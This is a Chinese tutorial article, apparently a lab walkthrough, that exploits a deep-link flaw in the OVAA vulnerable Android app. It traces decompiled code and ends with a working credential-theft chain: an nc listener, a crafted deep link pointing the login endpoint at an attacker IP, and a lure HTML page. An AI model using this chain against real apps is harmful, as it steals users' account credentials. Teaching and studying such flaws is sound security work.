结合Deep Link加载任意URL窃取目标APP用户凭证

电子说

1.3w人已加入

描述

在正式开始漏洞利用之前,我们需要先来了解一下什么是deep link。

Deep Link简介

Deep Link 是一种允许应用程序通过 URL 直接响应特定页面或功能的技术。这是通过操作系统和应用程序之间的一种约定来实现的。

Deep Link 结构:

URL

在 Android 中,当安装一个应用程序时,该应用程序的 manifest 文件(AndroidManifest.xml)会注册到系统中。这个文件包含了该应用程序的所有组件信息,包括 activities、services、broadcast receivers 等。对于 deep linking,开发者可以在 manifest 文件中定义一个或多个 intent filters,这些 intent filters 定义了哪些 URL 可以启动哪些 activities。

当用户点击一个符合某个应用程序 intent filter 规则的 URL 时,Android 系统就会启动该应用程序的对应 activity。具体的规则是通过 intent filter 中的 data 元素来定义的,这个元素可以指定 URL 的 scheme、host、path 等信息。如果 URL 符合这些规则,那么就会启动对应的 activity。

例如,下面这个示例:

<activity android:name="oversecured.ovaa.activities.DeeplinkActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="oversecured" android:host="ovaa"/>
            <span class="hljs-name"intent-filter>
        <span class="hljs-name"activity>

通过分析上面的示例代码,我们就可以知道,在安卓系统中任何以"oversecured://ovaa"开头的URL都会启动其所对应的oversecured.ovaa.activities.DeeplinkActivity。

总的来说,深度链接允许开发者通过 URL 直接打开应用程序的特定部分,这对于用户体验和应用程序间的交互是非常有用的。

查找Deep Link

在Android系统中,应用需要在AndroidManifest.xml文件中声明它们能处理的Deep Link。因此,我们可以通过使用jadx等反编译工具对目标APK进行反编译,在反编译后的AndroidManifest.xml文件中搜索关键字:"android:scheme"

URL

一般搜索结果所在的data标签部分,就包括了Deep Link Url所需的必要组成部分:

  • scheme: oversecured,
  • host: ovaa

转换成url就是:oversecured://ovaa

那这个时候,找到了APP可以处理的Deep Link,我们可以先来尝试一下,在安卓系统中触发访问我们找到的这个Deep Link:oversecured://ovaa。

1)在PC上使用python在本地开启一个简易的web服务器

python -m http.server

URL

2)在本地服务器根目录放置一个html页面文件

html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Deep Linking Test<span class="hljs-name"title>
    <span class="hljs-name"head>
    <body>
        <h1>Deep Linking Test!<span class="hljs-name"h1>
        <p><a href="oversecured://ovaa">点击这里可以打开指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
    <span class="hljs-name"body>
<span class="hljs-name"html>

这个页面的主要目的就是,当在手机浏览器远程访问html页面时,点击a标签对应的超链接,就可以在安卓系统中触发对Deep Link的访问

3)在手机浏览器远程访问html页面,点击a标签对应的超链接

oversecured://ovaa被访问时,DeeplinkActivity将会被瞬间打开然后立即关闭,我们可能只会看到一个闪烁的屏幕,看不到具体的Activity内容。

❝通过分析DeeplinkActivity代码可以知道:直接访问oversecured://ovaa,Android系统将会匹配到DeeplinkActivity并启动它,因为目标APP的AndroidManifest.xml中定义的intent-filter声明了这个Activity可以处理scheme为"oversecured"和host为"ovaa"的URI。

DeeplinkActivityonCreate方法中,它会获取到传入的Intent,检查Intent的action是否为"android.intent.action.VIEW",然后获取并处理Intent的data(即URI)。因此,当直接访问oversecured://ovaa,这个Activity将会被启动,并且在onCreate方法中调用processDeeplink方法。

但是,因为我们直接访问的URI没有路径(path),所以在processDeeplink方法中,uri.getPath()将返回null,所有的条件分支都不会被执行,所以不会有任何额外的操作。

然后,onCreate方法会调用finish()方法来结束这个Activity。所以,从咱们的用户的视角来看,oversecured://ovaa被访问时,DeeplinkActivity将会被瞬间打开然后立即关闭,用户可能只会看到一个闪烁的屏幕,看不到具体的Activity内容。

跟踪APP对Deep Link的处理

通过分析目标APP的AndroidManifest.xml,我们知道响应oversecured://ovaa的Activity是oversecured.ovaa.activities.DeeplinkActivity,因此我们可以通过反编译工具查看DeeplinkActivity相关的代码。

package oversecured.ovaa.activities;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.utils.LoginUtils;

/* loaded from: classes.dex */
public class DeeplinkActivity extends AppCompatActivity {
    private static final int URI_GRANT_CODE = 1003;
    private LoginUtils loginUtils;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        Uri uri;
        super.onCreate(savedInstanceState);
        this.loginUtils = LoginUtils.getInstance(this);
        Intent intent = getIntent();
        if (intent != null && "android.intent.action.VIEW".equals(intent.getAction()) && (uri = intent.getData()) != null) {
            processDeeplink(uri);
        }
        finish();
    }

    private void processDeeplink(Uri uri) {
        String url;
        String host;
        if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
            String path = uri.getPath();
            if ("/logout".equals(path)) {
                this.loginUtils.logout();
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/grant_uri_permissions".equals(path)) {
                Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
                if (getPackageManager().resolveActivity(i, 0) != null) {
                    startActivityForResult(i, 1003);
                }
            } else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
                Intent i2 = new Intent(this, WebViewActivity.class);
                i2.putExtra("url", url);
                startActivity(i2);
            }
        }
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, android.app.Activity
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == -1 && requestCode == 1003) {
            setResult(resultCode, data);
        }
    }
}

通过分析代码,我们可以知道:

1)当用户点击一个匹配intent filter的deep link URL时,Android系统会启动对应的activity,并通过intent传递数据给这个activity,此处也就是DeeplinkActivity。当DeeplinkActivity被打开时,APP首先执行的是onCreate方法,开发者在activity的onCreate()方法中通过getIntent()获取这个intent,然后通过getData()获取URL

2)获取到URL后,APP再调用processDeeplink(uri),接着根据传入的uri进行一系列处理,主要是通过条件语句针对url中不同的path进行不同的逻辑处理,通过代码可知APP可识别处理的path是:/logout、/login、/grant_uri_permissions、/webview。

跟踪APP对/login路径的处理

比如当我们访问的deep link url是:oversecured://ovaa/login,代码String path = uri.getPath();得到的就是/login,此时当processDeeplink被调用时就会执行以下代码:

else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            }

通过代码String url2 = uri.getQueryParameter("url");可知,APP会尝试从deep link中去获取一个名字叫做url的参数值。

比如我们访问的deep link url是:oversecured://ovaa/login?url=http://www.test.com。

如果我们访问的deeplink中有url参数,那APP取到url的值又要干嘛呢?我们继续跟踪

if (url2 != null) {
 this.loginUtils.setLoginUrl(url2);
}

如果APP取到url参数的值,则将取到的url继续传给setLoginUrl处理

public void setLoginUrl(String url) {
        this.editor.putString(LOGIN_URL_KEY, url).commit();
    }

这段代码的含义就是调用 SharedPreferences.EditorputString 方法,将键为 LOGIN_URL_KEY 的字符串值设为 url,然后调用 commit 方法将这个改动保存到 SharedPreferences 中。这样,下次应用程序启动时,这个 URL 仍然可以被获取到。

到这里,我们就比较清晰了,获取到deep link传递过来的url后,将url的值和LOGIN_URL_KEY这个键进行了绑定。就是一个获取并保存的操作,那我们继续接着往后面的代码进行分析:

当if语句执行结束,保存好了url后,APP又启动了一个新的界面EntranceActivity

startActivity(new Intent(this, EntranceActivity.class));

我们继续最终分析EntranceActivity界面的代码

public class EntranceActivity extends AppCompatActivity {
    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        if (LoginUtils.getInstance(this).isLoggedIn()) {
            startActivity(new Intent("oversecured.ovaa.action.ACTIVITY_MAIN"));
        } else {
            startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
        }
        finish();
    }
}

这个EntranceActivity的代码主要是判断当前是否已登录或者未登录,那我们这里继续追踪未登录的代码进行分析,也就是else代码块中的调用:

startActivity(new Intent("oversecured.ovaa.action.LOGIN"));

在AndroidManifiest.xml文件中搜索“oversecured.ovaa.action.LOGIN”,可以看到对应的是oversecured.ovaa.activities.LoginActivity

image-20230519013229270

继续分析LoginActivity中处理登录的关键函数processLogin:

public void processLogin(String email, String password) {
        LoginData loginData = new LoginData(email, password);
        Log.d("ovaa", "Processing " + loginData);
        LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
        loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
            @Override // retrofit2.Callback
            public void onResponse(Call<Void> call, Response<Void> response) {
            }

            @Override // retrofit2.Callback
            public void onFailure(Call<Void> call, Throwable t) {
            }
        });
        this.loginUtils.saveCredentials(loginData);
        onLoginFinished();
    }

这段代码的主要作用就是处理用户的登录,是使用 Retrofit 库来与服务器进行通信。

loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback

这段代码主要就是调用 loginServicelogin 方法,传入登录 URL 和登录数据,登录url是从getLoginUrl函数获取,而这个函数最终拿到的登录url就是前面从deeplink中获取到的url。

public String getLoginUrl() {
        String url = this.preferences.getString(LOGIN_URL_KEY, null);
        if (TextUtils.isEmpty(url)) {
            String url2 = this.context.getString(R.string.login_url);
            this.editor.putString(LOGIN_URL_KEY, url2).commit();
            return url2;
        }
        return url;
    }

那分析到这里,我们就可以知道,APP在处理oversecured://ovaa/login?url=http://www.test.com 这个deep link的时候,会将url的值作为登录url,然后将用户输入的账号和密码作为参数发起请求进行提交,但是此处的url是攻击者可控的,从而就导致了可窃取用户的登录凭证。

凭证截取

1)攻击者服务器监听端口,用于接收窃取到的账号密码。

nc -lnvp 8889

URL

2)根据分析,构造恶意的deep link

oversecured://ovaa/login?url=http://192.168.10.11:8889

3)攻击者web服务器放置一个html页面,用于诱导用户点击执行deeplink

html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Deep Linking Test<span class="hljs-name"title>
    <span class="hljs-name"head>
    <body>
        <h1>Deep Linking Test!<span class="hljs-name"h1>
        <p><a href="oversecured://ovaa/login?url=http://192.168.10.11:8889">点击这里可以打开指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
    <span class="hljs-name"body>
<span class="hljs-name"html>

4)最终窃取账号密码的效果

URL

打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分